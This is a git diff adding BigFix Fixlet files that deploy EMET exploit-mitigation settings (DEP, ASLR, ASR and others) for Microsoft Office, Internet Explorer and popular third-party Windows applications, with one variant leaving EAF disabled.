+      <Mitigation Name="MandatoryASLR" Enabled="true" />
+      <Mitigation Name="BottomUpASLR" Enabled="true" />
+      <Mitigation Name="LoadLib" Enabled="true" />
+      <Mitigation Name="MemProt" Enabled="true" />
+      <Mitigation Name="Caller" Enabled="true" />
+      <Mitigation Name="SimExecFlow" Enabled="true" />
+      <Mitigation Name="StackPivot" Enabled="true" />
+      <Mitigation Name="ASR" Enabled="false" />
+      <Mitigation Name="Fonts" Enabled="false" />
+    </AppConfig>
+    <AppConfig Path="*\OFFICE1*" Executable="MSPUB.EXE">
+      <Mitigation Name="DEP" Enabled="true" />
+      <Mitigation Name="SEHOP" Enabled="true" />
+      <Mitigation Name="NullPage" Enabled="true" />
+      <Mitigation Name="HeapSpray" Enabled="true" />
+      <Mitigation Name="EAF" Enabled="true" />
+      <Mitigation Name="EAF+" Enabled="false" />
+      <Mitigation Name="MandatoryASLR" Enabled="true" />
+      <Mitigation Name="BottomUpASLR" Enabled="true" />
+      <Mitigation Name="LoadLib" Enabled="true" />
+      <Mitigation Name="MemProt" Enabled="true" />
+      <Mitigation Name="Caller" Enabled="true" />
+      <Mitigation Name="SimExecFlow" Enabled="true" />
+      <Mitigation Name="StackPivot" Enabled="true" />
+      <Mitigation Name="ASR" Enabled="false" />
+      <Mitigation Name="Fonts" Enabled="false" />
+    </AppConfig>
+    <AppConfig Path="*\OFFICE1*" Executable="INFOPATH.EXE">
+      <Mitigation Name="DEP" Enabled="true" />
+      <Mitigation Name="SEHOP" Enabled="true" />
+      <Mitigation Name="NullPage" Enabled="true" />
+      <Mitigation Name="HeapSpray" Enabled="true" />
+      <Mitigation Name="EAF" Enabled="true" />
+      <Mitigation Name="EAF+" Enabled="false" />
+      <Mitigation Name="MandatoryASLR" Enabled="true" />
+      <Mitigation Name="BottomUpASLR" Enabled="true" />
+      <Mitigation Name="LoadLib" Enabled="true" />
+      <Mitigation Name="MemProt" Enabled="true" />
+      <Mitigation Name="Caller" Enabled="true" />
+      <Mitigation Name="SimExecFlow" Enabled="true" />
+      <Mitigation Name="StackPivot" Enabled="true" />
+      <Mitigation Name="ASR" Enabled="false" />
+      <Mitigation Name="Fonts" Enabled="false" />
+    </AppConfig>
+    <AppConfig Path="*\OFFICE1*" Executable="VISIO.EXE">
+      <Mitigation Name="DEP" Enabled="true" />
+      <Mitigation Name="SEHOP" Enabled="true" />
+      <Mitigation Name="NullPage" Enabled="true" />
+      <Mitigation Name="HeapSpray" Enabled="true" />
+      <Mitigation Name="EAF" Enabled="true" />
+      <Mitigation Name="EAF+" Enabled="false" />
+      <Mitigation Name="MandatoryASLR" Enabled="true" />
+      <Mitigation Name="BottomUpASLR" Enabled="true" />
+      <Mitigation Name="LoadLib" Enabled="true" />
+      <Mitigation Name="MemProt" Enabled="true" />
+      <Mitigation Name="Caller" Enabled="true" />
+      <Mitigation Name="SimExecFlow" Enabled="true" />
+      <Mitigation Name="StackPivot" Enabled="true" />
+      <Mitigation Name="ASR" Enabled="false" />
+      <Mitigation Name="Fonts" Enabled="false" />
+    </AppConfig>
+    <AppConfig Path="*\OFFICE1*" Executable="VPREVIEW.EXE">
+      <Mitigation Name="DEP" Enabled="true" />
+      <Mitigation Name="SEHOP" Enabled="true" />
+      <Mitigation Name="NullPage" Enabled="true" />
+      <Mitigation Name="HeapSpray" Enabled="true" />
+      <Mitigation Name="EAF" Enabled="true" />
+      <Mitigation Name="EAF+" Enabled="false" />
+      <Mitigation Name="MandatoryASLR" Enabled="true" />
+      <Mitigation Name="BottomUpASLR" Enabled="true" />
+      <Mitigation Name="LoadLib" Enabled="true" />
+      <Mitigation Name="MemProt" Enabled="true" />
+      <Mitigation Name="Caller" Enabled="true" />
+      <Mitigation Name="SimExecFlow" Enabled="true" />
+      <Mitigation Name="StackPivot" Enabled="true" />
+      <Mitigation Name="ASR" Enabled="false" />
+      <Mitigation Name="Fonts" Enabled="false" />
+    </AppConfig>
+    <AppConfig Path="*\OFFICE1*" Executable="LYNC.EXE">
+      <Mitigation Name="DEP" Enabled="true" />
+      <Mitigation Name="SEHOP" Enabled="true" />
+      <Mitigation Name="NullPage" Enabled="true" />
+      <Mitigation Name="HeapSpray" Enabled="true" />
+      <Mitigation Name="EAF" Enabled="true" />
+      <Mitigation Name="EAF+" Enabled="false" />
+      <Mitigation Name="MandatoryASLR" Enabled="true" />
+      <Mitigation Name="BottomUpASLR" Enabled="true" />
+      <Mitigation Name="LoadLib" Enabled="true" />
+      <Mitigation Name="MemProt" Enabled="true" />
+      <Mitigation Name="Caller" Enabled="true" />
+      <Mitigation Name="SimExecFlow" Enabled="true" />
+      <Mitigation Name="StackPivot" Enabled="true" />
+      <Mitigation Name="ASR" Enabled="false" />
+      <Mitigation Name="Fonts" Enabled="false" />
+    </AppConfig>
+    <AppConfig Path="*\OFFICE1*" Executable="PPTVIEW.EXE">
+      <Mitigation Name="DEP" Enabled="true" />
+      <Mitigation Name="SEHOP" Enabled="true" />
+      <Mitigation Name="NullPage" Enabled="true" />
+      <Mitigation Name="HeapSpray" Enabled="true" />
+      <Mitigation Name="EAF" Enabled="true" />
+      <Mitigation Name="EAF+" Enabled="false" />
+      <Mitigation Name="MandatoryASLR" Enabled="true" />
+      <Mitigation Name="BottomUpASLR" Enabled="true" />
+      <Mitigation Name="LoadLib" Enabled="true" />
+      <Mitigation Name="MemProt" Enabled="true" />
+      <Mitigation Name="Caller" Enabled="true" />
+      <Mitigation Name="SimExecFlow" Enabled="true" />
+      <Mitigation Name="StackPivot" Enabled="true" />
+      <Mitigation Name="ASR" Enabled="false" />
+      <Mitigation Name="Fonts" Enabled="false" />
+    </AppConfig>
+    <AppConfig Path="*\OFFICE1*" Executable="OIS.EXE">
+      <Mitigation Name="DEP" Enabled="true" />
+      <Mitigation Name="SEHOP" Enabled="true" />
+      <Mitigation Name="NullPage" Enabled="true" />
+      <Mitigation Name="HeapSpray" Enabled="true" />
+      <Mitigation Name="EAF" Enabled="true" />
+      <Mitigation Name="EAF+" Enabled="false" />
+      <Mitigation Name="MandatoryASLR" Enabled="true" />
+      <Mitigation Name="BottomUpASLR" Enabled="true" />
+      <Mitigation Name="LoadLib" Enabled="true" />
+      <Mitigation Name="MemProt" Enabled="true" />
+      <Mitigation Name="Caller" Enabled="true" />
+      <Mitigation Name="SimExecFlow" Enabled="true" />
+      <Mitigation Name="StackPivot" Enabled="true" />
+      <Mitigation Name="ASR" Enabled="false" />
+      <Mitigation Name="Fonts" Enabled="false" />
+    </AppConfig>
+</EMET_Apps>
+</EMET>
+_end_
+
+move __createfile defaults.xml
+
+waithidden "{parameter "emetconfexe"}" --import defaults.xml]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - EMET Rules - Enable Microsoft Application Mitigations without EAF - Windows (20897).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - EMET Rules - Enable Microsoft Application Mitigations without EAF - Windows (20897).bes
new file mode 100644
index 000000000..b6ab99a49
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - EMET Rules - Enable Microsoft Application Mitigations without EAF - Windows (20897).bes	
@@ -0,0 +1,317 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - EMET Rules - Enable Microsoft Application Mitigations without EAF - Windows
+  ID       : 20897
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-07-07T23:19:47
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - EMET Rules - Enable Microsoft Application Mitigations without EAF - Windows</Title>
+    <Description><![CDATA[<P>This policy sets the default application mitigations for various Microsoft applications within EMET.</P>
+<P>Specifically it configures EMET to detect exploits for the following applications:</P>
+<UL>
+<LI>Access
+<LI>Excel
+<LI>InfoPath
+<LI>Internet Explorer
+<LI>Lync
+<LI>Outlook
+<LI>PowerPoint
+<LI>Publisher
+<LI>Visio
+<LI>Word
+<LI>WordPad</LI></UL>
+<P>This Fixlet in particular excludes ALL EAF configurations.</P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists file &quot;emet_conf.exe&quot; of folder whose (name of it starts with &quot;EMET&quot;) of program files x32 folder</Relevance>
+    <Relevance><![CDATA[(version of file "emet_conf.exe" of folder whose (name of it starts with "EMET") of program files x32 folder) > "5.5.0.0" as version]]></Relevance>
+    <Relevance>(size of ((set of (&quot;*\Internet Explorer\iexplore.exe&quot;;&quot;*\Windows NT\Accessories\wordpad.exe&quot;;&quot;*\OFFICE1*\OUTLOOK.EXE&quot;;&quot;*\OFFICE1*\WINWORD.EXE&quot;;&quot;*\OFFICE1*\EXCEL.EXE&quot;;&quot;*\OFFICE1*\POWERPNT.EXE&quot;;&quot;*\OFFICE1*\MSACCESS.EXE&quot;;&quot;*\OFFICE1*\MSPUB.EXE&quot;;&quot;*\OFFICE1*\INFOPATH.EXE&quot;;&quot;*\OFFICE1*\VISIO.EXE&quot;;&quot;*\OFFICE1*\VPREVIEW.EXE&quot;;&quot;*\OFFICE1*\LYNC.EXE&quot;;&quot;*\OFFICE1*\PPTVIEW.EXE&quot;;&quot;*\OFFICE1*\OIS.EXE&quot;) - set of names of values of key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\EMET\AppSettings&quot; of native registry) - set of names of values of key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\EMET\AppSettings&quot; of native registry) != 0) | true</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-06-06</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// Enter your action script here
+
+parameter "emetconfexe"="{pathname of file "emet_conf.exe" of folder whose (name of it starts with "EMET") of program files x32 folder}"
+
+delete __createfile
+delete defaults.xml
+
+createfile until _end_
+<?xml version="1.0"?>
+<EMET Version="5.5.5871.31890">
+  <EMET_Apps>
+    <AppConfig Path="*\Internet Explorer" Executable="iexplore.exe">
+      <Mitigation Name="DEP" Enabled="true" />
+      <Mitigation Name="SEHOP" Enabled="true" />
+      <Mitigation Name="NullPage" Enabled="true" />
+      <Mitigation Name="HeapSpray" Enabled="true" />
+      <Mitigation Name="EAF" Enabled="false" />
+      <Mitigation Name="EAF+" Enabled="false">
+        <eaf_modules>mshtml.dll;flash*.ocx;jscript*.dll;vbscript.dll;vgx.dll</eaf_modules>
+      </Mitigation>
+      <Mitigation Name="MandatoryASLR" Enabled="true" />
+      <Mitigation Name="BottomUpASLR" Enabled="true" />
+      <Mitigation Name="LoadLib" Enabled="true" />
+      <Mitigation Name="MemProt" Enabled="true" />
+      <Mitigation Name="Caller" Enabled="true" />
+      <Mitigation Name="SimExecFlow" Enabled="true" />
+      <Mitigation Name="StackPivot" Enabled="true" />
+      <Mitigation Name="ASR" Enabled="true">
+        <asr_modules>npjpi*.dll;jp2iexp.dll;vgx.dll;msxml4*.dll;wshom.ocx;scrrun.dll;vbscript.dll</asr_modules>
+        <asr_zones>1;2</asr_zones>
+      </Mitigation>
+      <Mitigation Name="Fonts" Enabled="false" />
+    </AppConfig>
+    <AppConfig Path="*\Windows NT\Accessories" Executable="wordpad.exe">
+      <Mitigation Name="DEP" Enabled="true" />
+      <Mitigation Name="SEHOP" Enabled="true" />
+      <Mitigation Name="NullPage" Enabled="true" />
+      <Mitigation Name="HeapSpray" Enabled="true" />
+      <Mitigation Name="EAF" Enabled="false" />
+      <Mitigation Name="EAF+" Enabled="false" />
+      <Mitigation Name="MandatoryASLR" Enabled="true" />
+      <Mitigation Name="BottomUpASLR" Enabled="true" />
+      <Mitigation Name="LoadLib" Enabled="true" />
+      <Mitigation Name="MemProt" Enabled="true" />
+      <Mitigation Name="Caller" Enabled="true" />
+      <Mitigation Name="SimExecFlow" Enabled="true" />
+      <Mitigation Name="StackPivot" Enabled="true" />
+      <Mitigation Name="ASR" Enabled="false" />
+      <Mitigation Name="Fonts" Enabled="false" />
+    </AppConfig>
+    <AppConfig Path="*\OFFICE1*" Executable="OUTLOOK.EXE">
+      <Mitigation Name="DEP" Enabled="true" />
+      <Mitigation Name="SEHOP" Enabled="true" />
+      <Mitigation Name="NullPage" Enabled="true" />
+      <Mitigation Name="HeapSpray" Enabled="true" />
+      <Mitigation Name="EAF" Enabled="false" />
+      <Mitigation Name="EAF+" Enabled="false" />
+      <Mitigation Name="MandatoryASLR" Enabled="true" />
+      <Mitigation Name="BottomUpASLR" Enabled="true" />
+      <Mitigation Name="LoadLib" Enabled="true" />
+      <Mitigation Name="MemProt" Enabled="true" />
+      <Mitigation Name="Caller" Enabled="true" />
+      <Mitigation Name="SimExecFlow" Enabled="true" />
+      <Mitigation Name="StackPivot" Enabled="true" />
+      <Mitigation Name="ASR" Enabled="false" />
+      <Mitigation Name="Fonts" Enabled="false" />
+    </AppConfig>
+    <AppConfig Path="*\OFFICE1*" Executable="WINWORD.EXE">
+      <Mitigation Name="DEP" Enabled="true" />
+      <Mitigation Name="SEHOP" Enabled="true" />
+      <Mitigation Name="NullPage" Enabled="true" />
+      <Mitigation Name="HeapSpray" Enabled="true" />
+      <Mitigation Name="EAF" Enabled="false" />
+      <Mitigation Name="EAF+" Enabled="false" />
+      <Mitigation Name="MandatoryASLR" Enabled="true" />
+      <Mitigation Name="BottomUpASLR" Enabled="true" />
+      <Mitigation Name="LoadLib" Enabled="true" />
+      <Mitigation Name="MemProt" Enabled="true" />
+      <Mitigation Name="Caller" Enabled="true" />
+      <Mitigation Name="SimExecFlow" Enabled="true" />
+      <Mitigation Name="StackPivot" Enabled="true" />
+      <Mitigation Name="ASR" Enabled="true">
+        <asr_modules>flash*.ocx</asr_modules>
+      </Mitigation>
+      <Mitigation Name="Fonts" Enabled="false" />
+    </AppConfig>
+    <AppConfig Path="*\OFFICE1*" Executable="EXCEL.EXE">
+      <Mitigation Name="DEP" Enabled="true" />
+      <Mitigation Name="SEHOP" Enabled="true" />
+      <Mitigation Name="NullPage" Enabled="true" />
+      <Mitigation Name="HeapSpray" Enabled="true" />
+      <Mitigation Name="EAF" Enabled="false" />
+      <Mitigation Name="EAF+" Enabled="false" />
+      <Mitigation Name="MandatoryASLR" Enabled="true" />
+      <Mitigation Name="BottomUpASLR" Enabled="true" />
+      <Mitigation Name="LoadLib" Enabled="true" />
+      <Mitigation Name="MemProt" Enabled="true" />
+      <Mitigation Name="Caller" Enabled="true" />
+      <Mitigation Name="SimExecFlow" Enabled="true" />
+      <Mitigation Name="StackPivot" Enabled="true" />
+      <Mitigation Name="ASR" Enabled="true">
+        <asr_modules>flash*.ocx</asr_modules>
+      </Mitigation>
+      <Mitigation Name="Fonts" Enabled="false" />
+    </AppConfig>
+    <AppConfig Path="*\OFFICE1*" Executable="POWERPNT.EXE">
+      <Mitigation Name="DEP" Enabled="true" />
+      <Mitigation Name="SEHOP" Enabled="true" />
+      <Mitigation Name="NullPage" Enabled="true" />
+      <Mitigation Name="HeapSpray" Enabled="true" />
+      <Mitigation Name="EAF" Enabled="false" />
+      <Mitigation Name="EAF+" Enabled="false" />
+      <Mitigation Name="MandatoryASLR" Enabled="true" />
+      <Mitigation Name="BottomUpASLR" Enabled="true" />
+      <Mitigation Name="LoadLib" Enabled="true" />
+      <Mitigation Name="MemProt" Enabled="true" />
+      <Mitigation Name="Caller" Enabled="true" />
+      <Mitigation Name="SimExecFlow" Enabled="true" />
+      <Mitigation Name="StackPivot" Enabled="true" />
+      <Mitigation Name="ASR" Enabled="true">
+        <asr_modules>flash*.ocx</asr_modules>
+      </Mitigation>
+      <Mitigation Name="Fonts" Enabled="false" />
+    </AppConfig>
+    <AppConfig Path="*\OFFICE1*" Executable="MSACCESS.EXE">
+      <Mitigation Name="DEP" Enabled="true" />
+      <Mitigation Name="SEHOP" Enabled="true" />
+      <Mitigation Name="NullPage" Enabled="true" />
+      <Mitigation Name="HeapSpray" Enabled="true" />
+      <Mitigation Name="EAF" Enabled="false" />
+      <Mitigation Name="EAF+" Enabled="false" />
+      <Mitigation Name="MandatoryASLR" Enabled="true" />
+      <Mitigation Name="BottomUpASLR" Enabled="true" />
+      <Mitigation Name="LoadLib" Enabled="true" />
+      <Mitigation Name="MemProt" Enabled="true" />
+      <Mitigation Name="Caller" Enabled="true" />
+      <Mitigation Name="SimExecFlow" Enabled="true" />
+      <Mitigation Name="StackPivot" Enabled="true" />
+      <Mitigation Name="ASR" Enabled="false" />
+      <Mitigation Name="Fonts" Enabled="false" />
+    </AppConfig>
+    <AppConfig Path="*\OFFICE1*" Executable="MSPUB.EXE">
+      <Mitigation Name="DEP" Enabled="true" />
+      <Mitigation Name="SEHOP" Enabled="true" />
+      <Mitigation Name="NullPage" Enabled="true" />
+      <Mitigation Name="HeapSpray" Enabled="true" />
+      <Mitigation Name="EAF" Enabled="false" />
+      <Mitigation Name="EAF+" Enabled="false" />
+      <Mitigation Name="MandatoryASLR" Enabled="true" />
+      <Mitigation Name="BottomUpASLR" Enabled="true" />
+      <Mitigation Name="LoadLib" Enabled="true" />
+      <Mitigation Name="MemProt" Enabled="true" />
+      <Mitigation Name="Caller" Enabled="true" />
+      <Mitigation Name="SimExecFlow" Enabled="true" />
+      <Mitigation Name="StackPivot" Enabled="true" />
+      <Mitigation Name="ASR" Enabled="false" />
+      <Mitigation Name="Fonts" Enabled="false" />
+    </AppConfig>
+    <AppConfig Path="*\OFFICE1*" Executable="INFOPATH.EXE">
+      <Mitigation Name="DEP" Enabled="true" />
+      <Mitigation Name="SEHOP" Enabled="true" />
+      <Mitigation Name="NullPage" Enabled="true" />
+      <Mitigation Name="HeapSpray" Enabled="true" />
+      <Mitigation Name="EAF" Enabled="false" />
+      <Mitigation Name="EAF+" Enabled="false" />
+      <Mitigation Name="MandatoryASLR" Enabled="true" />
+      <Mitigation Name="BottomUpASLR" Enabled="true" />
+      <Mitigation Name="LoadLib" Enabled="true" />
+      <Mitigation Name="MemProt" Enabled="true" />
+      <Mitigation Name="Caller" Enabled="true" />
+      <Mitigation Name="SimExecFlow" Enabled="true" />
+      <Mitigation Name="StackPivot" Enabled="true" />
+      <Mitigation Name="ASR" Enabled="false" />
+      <Mitigation Name="Fonts" Enabled="false" />
+    </AppConfig>
+    <AppConfig Path="*\OFFICE1*" Executable="VISIO.EXE">
+      <Mitigation Name="DEP" Enabled="true" />
+      <Mitigation Name="SEHOP" Enabled="true" />
+      <Mitigation Name="NullPage" Enabled="true" />
+      <Mitigation Name="HeapSpray" Enabled="true" />
+      <Mitigation Name="EAF" Enabled="false" />
+      <Mitigation Name="EAF+" Enabled="false" />
+      <Mitigation Name="MandatoryASLR" Enabled="true" />
+      <Mitigation Name="BottomUpASLR" Enabled="true" />
+      <Mitigation Name="LoadLib" Enabled="true" />
+      <Mitigation Name="MemProt" Enabled="true" />
+      <Mitigation Name="Caller" Enabled="true" />
+      <Mitigation Name="SimExecFlow" Enabled="true" />
+      <Mitigation Name="StackPivot" Enabled="true" />
+      <Mitigation Name="ASR" Enabled="false" />
+      <Mitigation Name="Fonts" Enabled="false" />
+    </AppConfig>
+    <AppConfig Path="*\OFFICE1*" Executable="VPREVIEW.EXE">
+      <Mitigation Name="DEP" Enabled="true" />
+      <Mitigation Name="SEHOP" Enabled="true" />
+      <Mitigation Name="NullPage" Enabled="true" />
+      <Mitigation Name="HeapSpray" Enabled="true" />
+      <Mitigation Name="EAF" Enabled="false" />
+      <Mitigation Name="EAF+" Enabled="false" />
+      <Mitigation Name="MandatoryASLR" Enabled="true" />
+      <Mitigation Name="BottomUpASLR" Enabled="true" />
+      <Mitigation Name="LoadLib" Enabled="true" />
+      <Mitigation Name="MemProt" Enabled="true" />
+      <Mitigation Name="Caller" Enabled="true" />
+      <Mitigation Name="SimExecFlow" Enabled="true" />
+      <Mitigation Name="StackPivot" Enabled="true" />
+      <Mitigation Name="ASR" Enabled="false" />
+      <Mitigation Name="Fonts" Enabled="false" />
+    </AppConfig>
+    <AppConfig Path="*\OFFICE1*" Executable="LYNC.EXE">
+      <Mitigation Name="DEP" Enabled="true" />
+      <Mitigation Name="SEHOP" Enabled="true" />
+      <Mitigation Name="NullPage" Enabled="true" />
+      <Mitigation Name="HeapSpray" Enabled="true" />
+      <Mitigation Name="EAF" Enabled="false" />
+      <Mitigation Name="EAF+" Enabled="false" />
+      <Mitigation Name="MandatoryASLR" Enabled="true" />
+      <Mitigation Name="BottomUpASLR" Enabled="true" />
+      <Mitigation Name="LoadLib" Enabled="true" />
+      <Mitigation Name="MemProt" Enabled="true" />
+      <Mitigation Name="Caller" Enabled="true" />
+      <Mitigation Name="SimExecFlow" Enabled="true" />
+      <Mitigation Name="StackPivot" Enabled="true" />
+      <Mitigation Name="ASR" Enabled="false" />
+      <Mitigation Name="Fonts" Enabled="false" />
+    </AppConfig>
+    <AppConfig Path="*\OFFICE1*" Executable="PPTVIEW.EXE">
+      <Mitigation Name="DEP" Enabled="true" />
+      <Mitigation Name="SEHOP" Enabled="true" />
+      <Mitigation Name="NullPage" Enabled="true" />
+      <Mitigation Name="HeapSpray" Enabled="true" />
+      <Mitigation Name="EAF" Enabled="false" />
+      <Mitigation Name="EAF+" Enabled="false" />
+      <Mitigation Name="MandatoryASLR" Enabled="true" />
+      <Mitigation Name="BottomUpASLR" Enabled="true" />
+      <Mitigation Name="LoadLib" Enabled="true" />
+      <Mitigation Name="MemProt" Enabled="true" />
+      <Mitigation Name="Caller" Enabled="true" />
+      <Mitigation Name="SimExecFlow" Enabled="true" />
+      <Mitigation Name="StackPivot" Enabled="true" />
+      <Mitigation Name="ASR" Enabled="false" />
+      <Mitigation Name="Fonts" Enabled="false" />
+    </AppConfig>
+    <AppConfig Path="*\OFFICE1*" Executable="OIS.EXE">
+      <Mitigation Name="DEP" Enabled="true" />
+      <Mitigation Name="SEHOP" Enabled="true" />
+      <Mitigation Name="NullPage" Enabled="true" />
+      <Mitigation Name="HeapSpray" Enabled="true" />
+      <Mitigation Name="EAF" Enabled="false" />
+      <Mitigation Name="EAF+" Enabled="false" />
+      <Mitigation Name="MandatoryASLR" Enabled="true" />
+      <Mitigation Name="BottomUpASLR" Enabled="true" />
+      <Mitigation Name="LoadLib" Enabled="true" />
+      <Mitigation Name="MemProt" Enabled="true" />
+      <Mitigation Name="Caller" Enabled="true" />
+      <Mitigation Name="SimExecFlow" Enabled="true" />
+      <Mitigation Name="StackPivot" Enabled="true" />
+      <Mitigation Name="ASR" Enabled="false" />
+      <Mitigation Name="Fonts" Enabled="false" />
+    </AppConfig>
+</EMET_Apps>
+</EMET>
+_end_
+
+move __createfile defaults.xml
+
+waithidden "{parameter "emetconfexe"}" --import defaults.xml]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - EMET Rules - Enable Popular Third-Party Mitigations - Windows (21612).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - EMET Rules - Enable Popular Third-Party Mitigations - Windows (21612).bes
new file mode 100644
index 000000000..eaa5277a6
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - EMET Rules - Enable Popular Third-Party Mitigations - Windows (21612).bes	
@@ -0,0 +1,308 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - EMET Rules - Enable Popular Third-Party Mitigations - Windows
+  ID       : 21612
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-09-14T09:47:23
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - EMET Rules - Enable Popular Third-Party Mitigations - Windows</Title>
+    <Description><![CDATA[<P>This policy sets the default application mitigations for various Microsoft applications within EMET.</P>
+<P>Specifically it configures EMET to detect exploits for the following applications:</P>
+<UL>
+<LI>7-Zip
+<LI>Adobe Acrobat
+<LI>Adobe Reader
+<LI>Adobe Photoshop
+<LI>Apple Safari
+<LI>Apple Quicktime
+<LI>Apple iTunes
+<LI>FoxIT Reader
+<LI>Google Chrome
+<LI>Google Talk
+<LI>Java
+<LI>mIRC
+<LI>Mozilla Firefox
+<LI>Mozilla Thunderbird
+<LI>Opera Browser
+<LI>Pidgin
+<LI>Real Player
+<LI>VLC
+<LI>Winamp
+<LI>WinRAR
+<LI>WinZIP</LI></UL>
+<P>Please note, EAF+ has been disabled for Google Chrome due to issues with the latest versions of Chrome and Windows 10.</P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists file &quot;emet_conf.exe&quot; of folder whose (name of it starts with &quot;EMET&quot;) of program files x32 folder</Relevance>
+    <Relevance><![CDATA[(version of file "emet_conf.exe" of folder whose (name of it starts with "EMET") of program files x32 folder) > "5.5.0.0" as version]]></Relevance>
+    <Relevance>(size of (set of (&quot;*\Adobe\*\Reader\AcroRd32.exe&quot;;&quot;*\Adobe\Acrobat*\Acrobat\Acrobat.exe&quot;;&quot;*\Java\jre*\bin\java.exe&quot;;&quot;*\Java\jre*\bin\javaw.exe&quot;;&quot;*\Java\jre*\bin\javaws.exe&quot;;&quot;*\Google\Chrome\Application\chrome.exe&quot;;&quot;*\Google\Google Talk\googletalk.exe&quot;;&quot;*\Mozilla Firefox\firefox.exe&quot;;&quot;*\Mozilla Firefox\plugin-container.exe&quot;;&quot;*\Mozilla Thunderbird\thunderbird.exe&quot;;&quot;*\Mozilla Thunderbird\plugin-container.exe&quot;;&quot;*\Adobe\Adobe Photoshop CS*\Photoshop.exe&quot;;&quot;*\Winamp\winamp.exe&quot;;&quot;*\Opera\opera.exe&quot;;&quot;*\Opera\*\opera.exe&quot;;&quot;*\WinRAR\winrar.exe&quot;;&quot;*\WinRAR\rar.exe&quot;;&quot;*\WinRAR\unrar.exe&quot;;&quot;*\WinZip\winzip32.exe&quot;;&quot;*\WinZip\winzip64.exe&quot;;&quot;*\VideoLAN\VLC\vlc.exe&quot;;&quot;*\Real\RealPlayer\realconverter.exe&quot;;&quot;*\Real\RealPlayer\realplay.exe&quot;;&quot;*\mIRC\mirc.exe&quot;;&quot;*\7-Zip\7z.exe&quot;;&quot;*\7-Zip\7zG.exe&quot;;&quot;*\7-Zip\7zFM.exe&quot;;&quot;*\Safari\Safari.exe&quot;;&quot;*\QuickTime\QuickTimePlayer.exe&quot;;&quot;*\iTunes\iTunes.exe&quot;;&quot;*\Pidgin\pidgin.exe&quot;;&quot;*\Foxit Reader\Foxit Reader.exe&quot;) - set of names of values of key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\EMET\AppSettings&quot; of native registry) != 0) | true</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-06-06</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// Enter your action script here
+
+parameter "emetconfexe"="{pathname of file "emet_conf.exe" of folder whose (name of it starts with "EMET") of program files x32 folder}"
+
+delete __createfile
+delete defaults.xml
+
+createfile until _end_
+<?xml version="1.0"?>
+<!--
+EMET Popular Software protections config.
+Enables protections for common software such as Internet Explorer, Microsof Office, Windows Media Player, Adobe Acrobat Reader, Java, WinZip, VLC, RealPlayer, QuickTime, Opera, etc.
+
+All applications will have the default mitigations applied to them unless specific mitigations are specified per application.
+Environment variable supported:
+- %ProgramFiles(x86)% - This maps to %ProgramFiles(x86)%. If it's not defined on the system, it will map to %ProgramFiles%.
+- %ProgramFiles% - This maps to %ProgramFiles%. If the Product's Arch property is x64, it will map to the 64 bit program files directory.
+- %Windir% - Windows directory
+- %LOCALAPPDATA% - User local data path
+- %APPDATA% - User roaming data path
+- All other environment variables
+- MinOS - when a mitigation is enabled (=true), it will be applied by default only if minimum OS version is equal or greater of the one specified
+
+Please refer to EMET User's Guide for detailed information on how to use wildcards "*"
+-->
+
+<EMET_Standard_Rules>
+
+  <!-- Default mitigations will be applied by default to configured programs unless each program explicity enables or disables certain mitigations -->
+  <DefaultConfig>
+    <Mitigations>
+      <Mitigation Name="DEP"            Enabled="true" />
+      <Mitigation Name="SEHOP"          Enabled="true" />
+      <Mitigation Name="NullPage"       Enabled="true" />
+      <Mitigation Name="HeapSpray"      Enabled="true" />
+      <Mitigation Name="EAF"            Enabled="true" />
+      <Mitigation Name="EAF+"           Enabled="false" />
+      <Mitigation Name="MandatoryASLR"  Enabled="true" />
+      <Mitigation Name="BottomUpASLR"   Enabled="true" />
+      <Mitigation Name="LoadLib"        Enabled="true" />
+      <Mitigation Name="MemProt"        Enabled="true" />
+      <Mitigation Name="Caller"         Enabled="true" />
